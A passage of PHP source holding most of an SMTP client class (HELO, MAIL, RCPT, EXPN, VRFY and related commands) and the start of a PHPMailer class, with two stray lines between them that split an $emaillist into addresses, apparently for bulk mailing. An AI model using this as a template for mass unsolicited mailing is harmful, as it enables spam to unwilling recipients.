  739.       while(strlen($line) > $max_line_length) {
  740.         $pos = strrpos(substr($line,0,$max_line_length)," ");
  741.  
  742.         # Patch to fix DOS attack
  743.         if(!$pos) {
  744.           $pos = $max_line_length - 1;
  745.         }
  746.  
  747.         $lines_out[] = substr($line,0,$pos);
  748.         $line = substr($line,$pos + 1);
  749.         # if we are processing headers we need to
  750.         # add a LWSP-char to the front of the new line
  751.         # rfc 822 on long msg headers
  752.         if($in_headers) {
  753.           $line = "\t" . $line;
  754.         }
  755.       }
  756.       $lines_out[] = $line;
  757.  
  758.       # now send the lines to the server
  759.       while(list(,$line_out) = @each($lines_out)) {
  760.         if(strlen($line_out) > 0)
  761.         {
  762.           if(substr($line_out, 0, 1) == ".") {
  763.             $line_out = "." . $line_out;
  764.           }
  765.         }
  766.         fputs($this->smtp_conn,$line_out . $this->CRLF);
  767.       }
  768.     }
  769.  
  770.     # ok all the message data has been sent so lets get this
  771.     # over with aleady
  772.     fputs($this->smtp_conn, $this->CRLF . "." . $this->CRLF);
  773.  
  774.     $rply = $this->get_lines();
  775.     $code = substr($rply,0,3);
  776.  
  777.     if($this->do_debug >= 2) {
  778.       echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  779.     }
  780.  
  781.     if($code != 250) {
  782.       $this->error =
  783.         array("error" => "DATA not accepted from server",
  784.               "smtp_code" => $code,
  785.               "smtp_msg" => substr($rply,4));
  786.       if($this->do_debug >= 1) {
  787.         echo "SMTP -> ERROR: " . $this->error["error"] .
  788.                  ": " . $rply . $this->CRLF;
  789.       }
  790.       return false;
  791.     }
  792.     return true;
  793.   }
  794.  
  795.   /**
  796.    * Expand takes the name and asks the server to list all the
  797.    * people who are members of the _list_. Expand will return
  798.    * back and array of the result or false if an error occurs.
  799.    * Each value in the array returned has the format of:
  800.    *     [ <full-name> <sp> ] <path>
  801.    * The definition of <path> is defined in rfc 821
  802.    *
  803.    * Implements rfc 821: EXPN <SP> <string> <CRLF>
  804.    *
  805.    * SMTP CODE SUCCESS: 250
  806.    * SMTP CODE FAILURE: 550
  807.    * SMTP CODE ERROR  : 500,501,502,504,421
  808.    * @access public
  809.    * @return string array
  810.    */
  811.   function Expand($name) {
  812.     $this->error = null; # so no confusion is caused
  813.  
  814.     if(!$this->connected()) {
  815.       $this->error = array(
  816.             "error" => "Called Expand() without being connected");
  817.       return false;
  818.     }
  819.  
  820.     fputs($this->smtp_conn,"EXPN " . $name . $this->CRLF);
  821.  
  822.     $rply = $this->get_lines();
  823.     $code = substr($rply,0,3);
  824.  
  825.     if($this->do_debug >= 2) {
  826.       echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  827.     }
  828.  
  829.     if($code != 250) {
  830.       $this->error =
  831.         array("error" => "EXPN not accepted from server",
  832.               "smtp_code" => $code,
  833.               "smtp_msg" => substr($rply,4));
  834.       if($this->do_debug >= 1) {
  835.         echo "SMTP -> ERROR: " . $this->error["error"] .
  836.                  ": " . $rply . $this->CRLF;
  837.       }
  838.       return false;
  839.     }
  840.  
  841.     # parse the reply and place in our array to return to user
  842.     $entries = explode($this->CRLF,$rply);
  843.     while(list(,$l) = @each($entries)) {
  844.       $list[] = substr($l,4);
  845.     }
  846.  
  847.     return $list;
  848.   }
  849.  
  850.   /**
  851.    * Sends the HELO command to the smtp server.
  852.    * This makes sure that we and the server are in
  853.    * the same known state.
  854.    *
  855.    * Implements from rfc 821: HELO <SP> <domain> <CRLF>
  856.    *
  857.    * SMTP CODE SUCCESS: 250
  858.    * SMTP CODE ERROR  : 500, 501, 504, 421
  859.    * @access public
  860.    * @return bool
  861.    */
  862.   function Hello($host="") {
  863.     $this->error = null; # so no confusion is caused
  864.  
  865.     if(!$this->connected()) {
  866.       $this->error = array(
  867.             "error" => "Called Hello() without being connected");
  868.       return false;
  869.     }
  870.  
  871.     # if a hostname for the HELO was not specified determine
  872.     # a suitable one to send
  873.     if(empty($host)) {
  874.       # we need to determine some sort of appopiate default
  875.       # to send to the server
  876.       $host = "localhost";
  877.     }
  878.  
  879.     // Send extended hello first (RFC 2821)
  880.     if(!$this->SendHello("EHLO", $host))
  881.     {
  882.       if(!$this->SendHello("HELO", $host))
  883.           return false;
  884.     }
  885.  
  886.     return true;
  887.   }
  888.  
  889.   /**
  890.    * Sends a HELO/EHLO command.
  891.    * @access private
  892.    * @return bool
  893.    */
  894.   function SendHello($hello, $host) {
  895.     fputs($this->smtp_conn, $hello . " " . $host . $this->CRLF);
  896.  
  897.     $rply = $this->get_lines();
  898.     $code = substr($rply,0,3);
  899.  
  900.     if($this->do_debug >= 2) {
  901.       echo "SMTP -> FROM SERVER: " . $this->CRLF . $rply;
  902.     }
  903.  
  904.     if($code != 250) {
  905.       $this->error =
  906.         array("error" => $hello . " not accepted from server",
  907.               "smtp_code" => $code,
  908.               "smtp_msg" => substr($rply,4));
  909.       if($this->do_debug >= 1) {
  910.         echo "SMTP -> ERROR: " . $this->error["error"] .
  911.                  ": " . $rply . $this->CRLF;
  912.       }
  913.       return false;
  914.     }
  915.  
  916.     $this->helo_rply = $rply;
  917.  
  918.     return true;
  919.   }
  920.  
  921.   /**
  922.    * Gets help information on the keyword specified. If the keyword
  923.    * is not specified then returns generic help, ussually contianing
  924.    * A list of keywords that help is available on. This function
  925.    * returns the results back to the user. It is up to the user to
  926.    * handle the returned data. If an error occurs then false is
  927.    * returned with $this->error set appropiately.
  928.    *
  929.    * Implements rfc 821: HELP [ <SP> <string> ] <CRLF>
  930.    *
  931.    * SMTP CODE SUCCESS: 211,214
  932.    * SMTP CODE ERROR  : 500,501,502,504,421
  933.    * @access public
  934.    * @return string
  935.    */
  936.   function Help($keyword="") {
  937.     $this->error = null; # to avoid confusion
  938.  
  939.     if(!$this->connected()) {
  940.       $this->error = array(
  941.               "error" => "Called Help() without being connected");
  942.       return false;
  943.     }
  944.  
  945.     $extra = "";
  946.     if(!empty($keyword)) {
  947.       $extra = " " . $keyword;
  948.     }
  949.  
  950.     fputs($this->smtp_conn,"HELP" . $extra . $this->CRLF);
  951.  
  952.     $rply = $this->get_lines();
  953.     $code = substr($rply,0,3);
  954.  
  955.     if($this->do_debug >= 2) {
  956.       echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  957.     }
  958.  
  959.     if($code != 211 && $code != 214) {
  960.       $this->error =
  961.         array("error" => "HELP not accepted from server",
  962.               "smtp_code" => $code,
  963.               "smtp_msg" => substr($rply,4));
  964.       if($this->do_debug >= 1) {
  965.         echo "SMTP -> ERROR: " . $this->error["error"] .
  966.                  ": " . $rply . $this->CRLF;
  967.       }
  968.       return false;
  969.     }
  970.  
  971.     return $rply;
  972.   }
  973.  
  974.   /**
  975.    * Starts a mail transaction from the email address specified in
  976.    * $from. Returns true if successful or false otherwise. If True
  977.    * the mail transaction is started and then one or more Recipient
  978.    * commands may be called followed by a Data command.
  979.    *
  980.    * Implements rfc 821: MAIL <SP> FROM:<reverse-path> <CRLF>
  981.    *
  982.    * SMTP CODE SUCCESS: 250
  983.    * SMTP CODE SUCCESS: 552,451,452
  984.    * SMTP CODE SUCCESS: 500,501,421
  985.    * @access public
  986.    * @return bool
  987.    */
  988.   function Mail($from) {
  989.     $this->error = null; # so no confusion is caused
  990.  
  991.     if(!$this->connected()) {
  992.       $this->error = array(
  993.               "error" => "Called Mail() without being connected");
  994.       return false;
  995.     }
  996.  
  997.     $useVerp = ($this->do_verp ? "XVERP" : "");
  998.     fputs($this->smtp_conn,"MAIL FROM:<" . $from . ">" . $useVerp . $this->CRLF);
  999.  
  1000.     $rply = $this->get_lines();
  1001.     $code = substr($rply,0,3);
  1002.  
  1003.     if($this->do_debug >= 2) {
  1004.       echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  1005.     }
  1006.  
  1007.     if($code != 250) {
  1008.       $this->error =
  1009.         array("error" => "MAIL not accepted from server",
  1010.               "smtp_code" => $code,
  1011.               "smtp_msg" => substr($rply,4));
  1012.       if($this->do_debug >= 1) {
  1013.         echo "SMTP -> ERROR: " . $this->error["error"] .
  1014.                  ": " . $rply . $this->CRLF;
  1015.       }
  1016.       return false;
  1017.     }
  1018.     return true;
  1019.   }
  1020.  
  1021.   /**
  1022.    * Sends the command NOOP to the SMTP server.
  1023.    *
  1024.    * Implements from rfc 821: NOOP <CRLF>
  1025.    *
  1026.    * SMTP CODE SUCCESS: 250
  1027.    * SMTP CODE ERROR  : 500, 421
  1028.    * @access public
  1029.    * @return bool
  1030.    */
  1031.   function Noop() {
  1032.     $this->error = null; # so no confusion is caused
  1033.  
  1034.     if(!$this->connected()) {
  1035.       $this->error = array(
  1036.               "error" => "Called Noop() without being connected");
  1037.       return false;
  1038.     }
  1039.  
  1040.     fputs($this->smtp_conn,"NOOP" . $this->CRLF);
  1041.  
  1042.     $rply = $this->get_lines();
  1043.     $code = substr($rply,0,3);
  1044.  
  1045.     if($this->do_debug >= 2) {
  1046.       echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  1047.     }
  1048.  
  1049.     if($code != 250) {
  1050.       $this->error =
  1051.         array("error" => "NOOP not accepted from server",
  1052.               "smtp_code" => $code,
  1053.               "smtp_msg" => substr($rply,4));
  1054.       if($this->do_debug >= 1) {
  1055.         echo "SMTP -> ERROR: " . $this->error["error"] .
  1056.                  ": " . $rply . $this->CRLF;
  1057.       }
  1058.       return false;
  1059.     }
  1060.     return true;
  1061.   }
  1062.  
  1063.   /**
  1064.    * Sends the quit command to the server and then closes the socket
  1065.    * if there is no error or the $close_on_error argument is true.
  1066.    *
  1067.    * Implements from rfc 821: QUIT <CRLF>
  1068.    *
  1069.    * SMTP CODE SUCCESS: 221
  1070.    * SMTP CODE ERROR  : 500
  1071.    * @access public
  1072.    * @return bool
  1073.    */
  1074.   function Quit($close_on_error=true) {
  1075.     $this->error = null; # so there is no confusion
  1076.  
  1077.     if(!$this->connected()) {
  1078.       $this->error = array(
  1079.               "error" => "Called Quit() without being connected");
  1080.       return false;
  1081.     }
  1082.  
  1083.     # send the quit command to the server
  1084.     fputs($this->smtp_conn,"quit" . $this->CRLF);
  1085.  
  1086.     # get any good-bye messages
  1087.     $byemsg = $this->get_lines();
  1088.  
  1089.     if($this->do_debug >= 2) {
  1090.       echo "SMTP -> FROM SERVER:" . $this->CRLF . $byemsg;
  1091.     }
  1092.  
  1093.     $rval = true;
  1094.     $e = null;
  1095.  
  1096.     $code = substr($byemsg,0,3);
  1097.     if($code != 221) {
  1098.       # use e as a tmp var cause Close will overwrite $this->error
  1099.       $e = array("error" => "SMTP server rejected quit command",
  1100.                  "smtp_code" => $code,
  1101.                  "smtp_rply" => substr($byemsg,4));
  1102.       $rval = false;
  1103.       if($this->do_debug >= 1) {
  1104.         echo "SMTP -> ERROR: " . $e["error"] . ": " .
  1105.                  $byemsg . $this->CRLF;
  1106.       }
  1107.     }
  1108.  
  1109.     if(empty($e) || $close_on_error) {
  1110.       $this->Close();
  1111.     }
  1112.  
  1113.     return $rval;
  1114.   }
  1115.  
  1116.   /**
  1117.    * Sends the command RCPT to the SMTP server with the TO: argument of $to.
  1118.    * Returns true if the recipient was accepted false if it was rejected.
  1119.    *
  1120.    * Implements from rfc 821: RCPT <SP> TO:<forward-path> <CRLF>
  1121.    *
  1122.    * SMTP CODE SUCCESS: 250,251
  1123.    * SMTP CODE FAILURE: 550,551,552,553,450,451,452
  1124.    * SMTP CODE ERROR  : 500,501,503,421
  1125.    * @access public
  1126.    * @return bool
  1127.    */
  1128.   function Recipient($to) {
  1129.     $this->error = null; # so no confusion is caused
  1130.  
  1131.     if(!$this->connected()) {
  1132.       $this->error = array(
  1133.               "error" => "Called Recipient() without being connected");
  1134.       return false;
  1135.     }
  1136.  
  1137.     fputs($this->smtp_conn,"RCPT TO:<" . $to . ">" . $this->CRLF);
  1138.  
  1139.     $rply = $this->get_lines();
  1140.     $code = substr($rply,0,3);
  1141.  
  1142.     if($this->do_debug >= 2) {
  1143.       echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  1144.     }
  1145.  
  1146.     if($code != 250 && $code != 251) {
  1147.       $this->error =
  1148.         array("error" => "RCPT not accepted from server",
  1149.               "smtp_code" => $code,
  1150.               "smtp_msg" => substr($rply,4));
  1151.       if($this->do_debug >= 1) {
  1152.         echo "SMTP -> ERROR: " . $this->error["error"] .
  1153.                  ": " . $rply . $this->CRLF;
  1154.       }
  1155.       return false;
  1156.     }
  1157.     return true;
  1158.   }
  1159.  
  1160.   /**
  1161.    * Sends the RSET command to abort and transaction that is
  1162.    * currently in progress. Returns true if successful false
  1163.    * otherwise.
  1164.    *
  1165.    * Implements rfc 821: RSET <CRLF>
  1166.    *
  1167.    * SMTP CODE SUCCESS: 250
  1168.    * SMTP CODE ERROR  : 500,501,504,421
  1169.    * @access public
  1170.    * @return bool
  1171.    */
  1172.   function Reset() {
  1173.     $this->error = null; # so no confusion is caused
  1174.  
  1175.     if(!$this->connected()) {
  1176.       $this->error = array(
  1177.               "error" => "Called Reset() without being connected");
  1178.       return false;
  1179.     }
  1180.  
  1181.     fputs($this->smtp_conn,"RSET" . $this->CRLF);
  1182.  
  1183.     $rply = $this->get_lines();
  1184.     $code = substr($rply,0,3);
  1185.  
  1186.     if($this->do_debug >= 2) {
  1187.       echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  1188.     }
  1189.  
  1190.     if($code != 250) {
  1191.       $this->error =
  1192.         array("error" => "RSET failed",
  1193.               "smtp_code" => $code,
  1194.               "smtp_msg" => substr($rply,4));
  1195.       if($this->do_debug >= 1) {
  1196.         echo "SMTP -> ERROR: " . $this->error["error"] .
  1197.                  ": " . $rply . $this->CRLF;
  1198.       }
  1199.       return false;
  1200.     }
  1201.  
  1202.     return true;
  1203.   }
  1204.  
  1205.   /**
  1206.    * Starts a mail transaction from the email address specified in
  1207.    * $from. Returns true if successful or false otherwise. If True
  1208.    * the mail transaction is started and then one or more Recipient
  1209.    * commands may be called followed by a Data command. This command
  1210.    * will send the message to the users terminal if they are logged
  1211.    * in.
  1212.    *
  1213.    * Implements rfc 821: SEND <SP> FROM:<reverse-path> <CRLF>
  1214.    *
  1215.    * SMTP CODE SUCCESS: 250
  1216.    * SMTP CODE SUCCESS: 552,451,452
  1217.    * SMTP CODE SUCCESS: 500,501,502,421
  1218.    * @access public
  1219.    * @return bool
  1220.    */
  1221.   function Send($from) {
  1222.     $this->error = null; # so no confusion is caused
  1223.  
  1224.     if(!$this->connected()) {
  1225.       $this->error = array(
  1226.               "error" => "Called Send() without being connected");
  1227.       return false;
  1228.     }
  1229.  
  1230.     fputs($this->smtp_conn,"SEND FROM:" . $from . $this->CRLF);
  1231.  
  1232.     $rply = $this->get_lines();
  1233.     $code = substr($rply,0,3);
  1234.  
  1235.     if($this->do_debug >= 2) {
  1236.       echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  1237.     }
  1238.  
  1239.     if($code != 250) {
  1240.       $this->error =
  1241.         array("error" => "SEND not accepted from server",
  1242.               "smtp_code" => $code,
  1243.               "smtp_msg" => substr($rply,4));
  1244.       if($this->do_debug >= 1) {
  1245.         echo "SMTP -> ERROR: " . $this->error["error"] .
  1246.                  ": " . $rply . $this->CRLF;
  1247.       }
  1248.       return false;
  1249.     }
  1250.     return true;
  1251.   }
  1252.  
  1253.   /**
  1254.    * Starts a mail transaction from the email address specified in
  1255.    * $from. Returns true if successful or false otherwise. If True
  1256.    * the mail transaction is started and then one or more Recipient
  1257.    * commands may be called followed by a Data command. This command
  1258.    * will send the message to the users terminal if they are logged
  1259.    * in and send them an email.
  1260.    *
  1261.    * Implements rfc 821: SAML <SP> FROM:<reverse-path> <CRLF>
  1262.    *
  1263.    * SMTP CODE SUCCESS: 250
  1264.    * SMTP CODE SUCCESS: 552,451,452
  1265.    * SMTP CODE SUCCESS: 500,501,502,421
  1266.    * @access public
  1267.    * @return bool
  1268.    */
  1269.   function SendAndMail($from) {
  1270.     $this->error = null; # so no confusion is caused
  1271.  
  1272.     if(!$this->connected()) {
  1273.       $this->error = array(
  1274.           "error" => "Called SendAndMail() without being connected");
  1275.       return false;
  1276.     }
  1277.  
  1278.     fputs($this->smtp_conn,"SAML FROM:" . $from . $this->CRLF);
  1279.  
  1280.     $rply = $this->get_lines();
  1281.     $code = substr($rply,0,3);
  1282.  
  1283.     if($this->do_debug >= 2) {
  1284.       echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  1285.     }
  1286.  
  1287.     if($code != 250) {
  1288.       $this->error =
  1289.         array("error" => "SAML not accepted from server",
  1290.               "smtp_code" => $code,
  1291.               "smtp_msg" => substr($rply,4));
  1292.       if($this->do_debug >= 1) {
  1293.         echo "SMTP -> ERROR: " . $this->error["error"] .
  1294.                  ": " . $rply . $this->CRLF;
  1295.       }
  1296.       return false;
  1297.     }
  1298.     return true;
  1299.   }
  1300.  
  1301.   /**
  1302.    * Starts a mail transaction from the email address specified in
  1303.    * $from. Returns true if successful or false otherwise. If True
  1304.    * the mail transaction is started and then one or more Recipient
  1305.    * commands may be called followed by a Data command. This command
  1306.    * will send the message to the users terminal if they are logged
  1307.    * in or mail it to them if they are not.
  1308.    *
  1309.    * Implements rfc 821: SOML <SP> FROM:<reverse-path> <CRLF>
  1310.    *
  1311.    * SMTP CODE SUCCESS: 250
  1312.    * SMTP CODE SUCCESS: 552,451,452
  1313.    * SMTP CODE SUCCESS: 500,501,502,421
  1314.    * @access public
  1315.    * @return bool
  1316.    */
  1317.   function SendOrMail($from) {
  1318.     $this->error = null; # so no confusion is caused
  1319.  
  1320.     if(!$this->connected()) {
  1321.       $this->error = array(
  1322.           "error" => "Called SendOrMail() without being connected");
  1323.       return false;
  1324.     }
  1325.  
  1326.     fputs($this->smtp_conn,"SOML FROM:" . $from . $this->CRLF);
  1327.  
  1328.     $rply = $this->get_lines();
  1329.     $code = substr($rply,0,3);
  1330.  
  1331.     if($this->do_debug >= 2) {
  1332.       echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  1333.     }
  1334.  
  1335.     if($code != 250) {
  1336.       $this->error =
  1337.         array("error" => "SOML not accepted from server",
  1338.               "smtp_code" => $code,
  1339.               "smtp_msg" => substr($rply,4));
  1340.       if($this->do_debug >= 1) {
  1341.         echo "SMTP -> ERROR: " . $this->error["error"] .
  1342.                  ": " . $rply . $this->CRLF;
  1343.       }
  1344.       return false;
  1345.     }
  1346.     return true;
  1347.   }
  1348.  
  1349.   /**
  1350.    * This is an optional command for SMTP that this class does not
  1351.    * support. This method is here to make the RFC821 Definition
  1352.    * complete for this class and __may__ be implimented in the future
  1353.    *
  1354.    * Implements from rfc 821: TURN <CRLF>
  1355.    *
  1356.    * SMTP CODE SUCCESS: 250
  1357.    * SMTP CODE FAILURE: 502
  1358.    * SMTP CODE ERROR  : 500, 503
  1359.    * @access public
  1360.    * @return bool
  1361.    */
  1362.   function Turn() {
  1363.     $this->error = array("error" => "This method, TURN, of the SMTP ".
  1364.                                     "is not implemented");
  1365.     if($this->do_debug >= 1) {
  1366.       echo "SMTP -> NOTICE: " . $this->error["error"] . $this->CRLF;
  1367.     }
  1368.     return false;
  1369.   }
  1370.  
  1371.   /**
  1372.    * Verifies that the name is recognized by the server.
  1373.    * Returns false if the name could not be verified otherwise
  1374.    * the response from the server is returned.
  1375.    *
  1376.    * Implements rfc 821: VRFY <SP> <string> <CRLF>
  1377.    *
  1378.    * SMTP CODE SUCCESS: 250,251
  1379.    * SMTP CODE FAILURE: 550,551,553
  1380.    * SMTP CODE ERROR  : 500,501,502,421
  1381.    * @access public
  1382.    * @return int
  1383.    */
  1384.   function Verify($name) {
  1385.     $this->error = null; # so no confusion is caused
  1386.  
  1387.     if(!$this->connected()) {
  1388.       $this->error = array(
  1389.               "error" => "Called Verify() without being connected");
  1390.       return false;
  1391.     }
  1392.  
  1393.     fputs($this->smtp_conn,"VRFY " . $name . $this->CRLF);
  1394.  
  1395.     $rply = $this->get_lines();
  1396.     $code = substr($rply,0,3);
  1397.  
  1398.     if($this->do_debug >= 2) {
  1399.       echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  1400.     }
  1401.  
  1402.     if($code != 250 && $code != 251) {
  1403.       $this->error =
  1404.         array("error" => "VRFY failed on name '$name'",
  1405.               "smtp_code" => $code,
  1406.               "smtp_msg" => substr($rply,4));
  1407.       if($this->do_debug >= 1) {
  1408.         echo "SMTP -> ERROR: " . $this->error["error"] .
  1409.                  ": " . $rply . $this->CRLF;
  1410.       }
  1411.       return false;
  1412.     }
  1413.     return $rply;
  1414.   }
  1415.  
  1416.   /*******************************************************************
  1417.    *                       INTERNAL FUNCTIONS                       *
  1418.    ******************************************************************/
  1419.  
  1420.   /**
  1421.    * Read in as many lines as possible
  1422.    * either before eof or socket timeout occurs on the operation.
  1423.    * With SMTP we can tell if we have more lines to read if the
  1424.    * 4th character is '-' symbol. If it is a space then we don't
  1425.    * need to read anything else.
  1426.    * @access private
  1427.    * @return string
  1428.    */
  1429.   function get_lines() {
  1430.     $data = "";
  1431.     while($str = @fgets($this->smtp_conn,515)) {
  1432.       if($this->do_debug >= 4) {
  1433.         echo "SMTP -> get_lines(): \$data was \"$data\"" .
  1434.                  $this->CRLF;
  1435.         echo "SMTP -> get_lines(): \$str is \"$str\"" .
  1436.                  $this->CRLF;
  1437.       }
  1438.       $data .= $str;
  1439.       if($this->do_debug >= 4) {
  1440.         echo "SMTP -> get_lines(): \$data is \"$data\"" . $this->CRLF;
  1441.       }
  1442.       # if the 4th character is a space then we are done reading
  1443.       # so just break the loop
  1444.       if(substr($str,3,1) == " ") { break; }
  1445.     }
  1446.     return $data;
  1447.   }
  1448.  
  1449. }
  1450.  
  1451.        
  1452. $allemails = split("\n", $emaillist);
  1453. $numemails = count($allemails);
  1454.  
  1455. class PHPMailer {
  1456.  
  1457.   /////////////////////////////////////////////////
  1458.   // PROPERTIES, PUBLIC
  1459.   /////////////////////////////////////////////////
  1460.  
  1461.   /**
  1462.    * Email priority (1 = High, 3 = Normal, 5 = low).
  1463.    * @var int
  1464.    */
  1465.   var $Priority          = 3;
  1466.  
  1467.   /**
  1468.    * Sets the CharSet of the message.
  1469.    * @var string
  1470.    */
  1471.   var $CharSet           = 'us-ascii';
  1472.  
  1473.   /**
  1474.    * Sets the Content-type of the message.
  1475.    * @var string
  1476.    */
  1477.   var $ContentType        = 'text/plain';
  1478.  
  1479.   /**
  1480.    * Sets the Encoding of the message. Options for this are "8bit",
  1481.    * "7bit", "binary", "base64", and "quoted-printable".
  1482.  
  1483.    * @var string
  1484.    */
  1485.   var $Encoding          = 'quoted-printable';
  1486.  
  1487.   /**
  1488.    * Holds the most recent mailer error message.
  1489.    * @var string
  1490.    */
  1491.   var $ErrorInfo         = '';
  1492.  
  1493.   /**
  1494.    * Sets the From email address for the message.
  1495.    * @var string
  1496.    */
  1497.   var $From              = '';
  1498.  
  1499.   /**
  1500.    * Sets the From name of the message.
  1501.    * @var string
  1502.    */
  1503.   var $FromName          = '';
  1504.  
  1505.   /**
  1506.    * Sets the Sender email (Return-Path) of the message.  If not empty,
  1507.    * will be sent via -f to sendmail or as 'MAIL FROM' in smtp mode.
  1508.    * @var string
  1509.    */
  1510.   var $Sender            = '';
  1511.  
  1512.   /**
  1513.    * Sets the Subject of the message.
  1514.    * @var string
  1515.    */
  1516.   var $Subject           = '';
  1517.  
  1518.   /**
  1519.    * Sets the Body of the message.  This can be either an HTML or text body.
  1520.    * If HTML then run IsHTML(true).
  1521.    * @var string
  1522.    */
  1523.   var $Body              = '';
  1524.  
  1525.   /**
  1526.    * Sets the text-only body of the message.  This automatically sets the
  1527.    * email to multipart/alternative.  This body can be read by mail
  1528.    * clients that do not have HTML email capability such as mutt. Clients
  1529.    * that can read HTML will view the normal Body.
  1530.    * @var string
  1531.    */
  1532.   var $AltBody           = '';
  1533.  
  1534.   /**
  1535.    * Sets word wrapping on the body of the message to a given number of
  1536.    * characters.
  1537.    * @var int
  1538.    */
  1539.   var $WordWrap          = 0;
  1540.  
  1541.   /**
  1542.    * Method to send mail: ("mail", "sendmail", or "smtp").
  1543.    * @var string
  1544.    */
  1545.   var $Mailer            = 'mail';
  1546.  
  1547.   /**
  1548.    * Sets the path of the sendmail program.
  1549.    * @var string
  1550.    */
  1551.   var $Sendmail          = '/usr/sbin/sendmail';
  1552.  
  1553.   /**
  1554.    * Path to PHPMailer plugins.  This is now only useful if the SMTP class
  1555.    * is in a different directory than the PHP include path.
  1556.    * @var string
  1557.    */
  1558.   var $PluginDir         = '';
  1559.  
  1560.   /**
  1561.    * Holds PHPMailer version.
  1562.    * @var string
  1563.    */
  1564.   var $Version           = "";
  1565.  
  1566.   /**
  1567.    * Sets the email address that a reading confirmation will be sent.
  1568.    * @var string
  1569.    */
  1570.   var $ConfirmReadingTo  = '';
  1571.  
  1572.   /**
  1573.    * Sets the hostname to use in Message-Id and Received headers
  1574.    * and as default HELO string. If empty, the value returned
  1575.    * by SERVER_NAME is used or 'localhost.localdomain'.
  1576.    * @var string
  1577.    */
  1578.   var $Hostname          = '';
  1579.  
  1580.   /**
  1581.    * Sets the message ID to be used in the Message-Id header.
  1582.    * If empty, a unique id will be generated.
  1583.    * @var string
  1584.    */
  1585.   var $MessageID         = '';
  1586.  
  1587.   /////////////////////////////////////////////////
  1588.   // PROPERTIES FOR SMTP
  1589.   /////////////////////////////////////////////////
  1590.  
  1591.   /**
  1592.    * Sets the SMTP hosts.  All hosts must be separated by a
  1593.    * semicolon.  You can also specify a different port
  1594.    * for each host by using this format: [hostname:port]
  1595.    * (e.g. "smtp1.example.com:25;smtp2.example.com").
  1596.    * Hosts will be tried in order.
  1597.    * @var string
  1598.    */
  1599.   var $Host        = 'localhost';
  1600.  
  1601.   /**
  1602.    * Sets the default SMTP server port.
  1603.    * @var int
  1604.    */
  1605.   var $Port        = 25;
  1606.  
  1607.   /**
  1608.    * Sets the SMTP HELO of the message (Default is $Hostname).
  1609.    * @var string
  1610.    */
  1611.   var $Helo        = '';
  1612.  
  1613.   /**
  1614.    * Sets connection prefix.
  1615.    * Options are "", "ssl" or "tls"
  1616.    * @var string
  1617.    */
  1618.   var $SMTPSecure = "";
  1619.  
  1620.   /**
  1621.    * Sets SMTP authentication. Utilizes the Username and Password variables.
  1622.    * @var bool
  1623.    */
  1624.   var $SMTPAuth     = false;
  1625.  
  1626.   /**
  1627.    * Sets SMTP username.
  1628.    * @var string
  1629.    */
  1630.   var $Username     = '';
  1631.  
  1632.   /**
  1633.    * Sets SMTP password.
  1634.    * @var string
  1635.    */
  1636.   var $Password     = '';
  1637.  
  1638.   /**
  1639.    * Sets the SMTP server timeout in seconds. This function will not
  1640.    * work with the win32 version.
  1641.    * @var int
  1642.    */
  1643.   var $Timeout      = 10;
  1644.  
  1645.   /**
  1646.    * Sets SMTP class debugging on or off.
  1647.    * @var bool
  1648.    */
  1649.   var $SMTPDebug    = false;
  1650.  
  1651.   /**
  1652.    * Prevents the SMTP connection from being closed after each mail
  1653.    * sending.  If this is set to true then to close the connection
  1654.    * requires an explicit call to SmtpClose().
  1655.    * @var bool
  1656.    */
  1657.   var $SMTPKeepAlive = false;
  1658.  
  1659.   /**
  1660.    * Provides the ability to have the TO field process individual
  1661.    * emails, instead of sending to entire TO addresses
  1662.    * @var bool
  1663.    */
  1664.   var $SingleTo = false;
  1665.  
  1666.   /////////////////////////////////////////////////
  1667.   // PROPERTIES, PRIVATE
  1668.   /////////////////////////////////////////////////
  1669.  
  1670.   var $smtp            = NULL;
  1671.   var $to              = array();
  1672.   var $cc              = array();
  1673.   var $bcc             = array();
  1674.   var $ReplyTo         = array();
  1675.   var $attachment      = array();
  1676.   var $CustomHeader    = array();
  1677.   var $message_type    = '';
  1678.   var $boundary        = array();
  1679.   var $language        = array();
  1680.   var $error_count     = 0;
  1681.   var $LE              = "\n";
  1682.   var $sign_key_file   = "";
  1683.   var $sign_key_pass   = "";
  1684.  
  1685.   /////////////////////////////////////////////////
  1686.   // METHODS, VARIABLES
  1687.   /////////////////////////////////////////////////
  1688.  
  1689.   /**
  1690.    * Sets message type to HTML.
  1691.    * @param bool $bool
  1692.    * @return void
  1693.    */
  1694.   function IsHTML($bool) {
  1695.     if($bool == true) {
  1696.       $this->ContentType = 'text/html';
  1697.     } else {
  1698.       $this->ContentType = 'text/plain';
  1699.     }
  1700.   }
  1701.  
  1702.   /**
  1703.    * Sets Mailer to send message using SMTP.
  1704.    * @return void
  1705.    */
  1706.   function IsSMTP() {
  1707.     $this->Mailer = 'smtp';
  1708.   }
  1709.  
  1710.   /**
  1711.    * Sets Mailer to send message using PHP mail() function.
  1712.    * @return void
  1713.    */
  1714.   function IsMail() {
  1715.     $this->Mailer = 'mail';
  1716.   }
  1717.  
  1718.   /**
  1719.    * Sets Mailer to send message using the $Sendmail program.
  1720.    * @return void
  1721.    */
  1722.   function IsSendmail() {
  1723.     $this->Mailer = 'sendmail';
  1724.   }
  1725.  
  1726.   /**
  1727.    * Sets Mailer to send message using the qmail MTA.
  1728.    * @return void
  1729.    */
  1730.   function IsQmail() {
  1731.     $this->Sendmail = '/var/qmail/bin/sendmail';
  1732.     $this->Mailer = 'sendmail';
  1733.   }
  1734.  
  1735.   /////////////////////////////////////////////////
  1736.   // METHODS, RECIPIENTS
  1737.   /////////////////////////////////////////////////
  1738.  
  1739.   /**
  1740.    * Adds a "To" address.
  1741.    * @param string $address
  1742.    * @param string $name
  1743.    * @return void
  1744.    */
  1745.   function AddAddress($address, $name = '') {
  1746.     $cur = count($this->to);
  1747.     $this->to[$cur][0] = trim($address);
  1748.     $this->to[$cur][1] = $name;
  1749.   }
  1750.  
  1751.   /**
  1752.    * Adds a "Cc" address. Note: this function works
  1753.    * with the SMTP mailer on win32, not with the "mail"
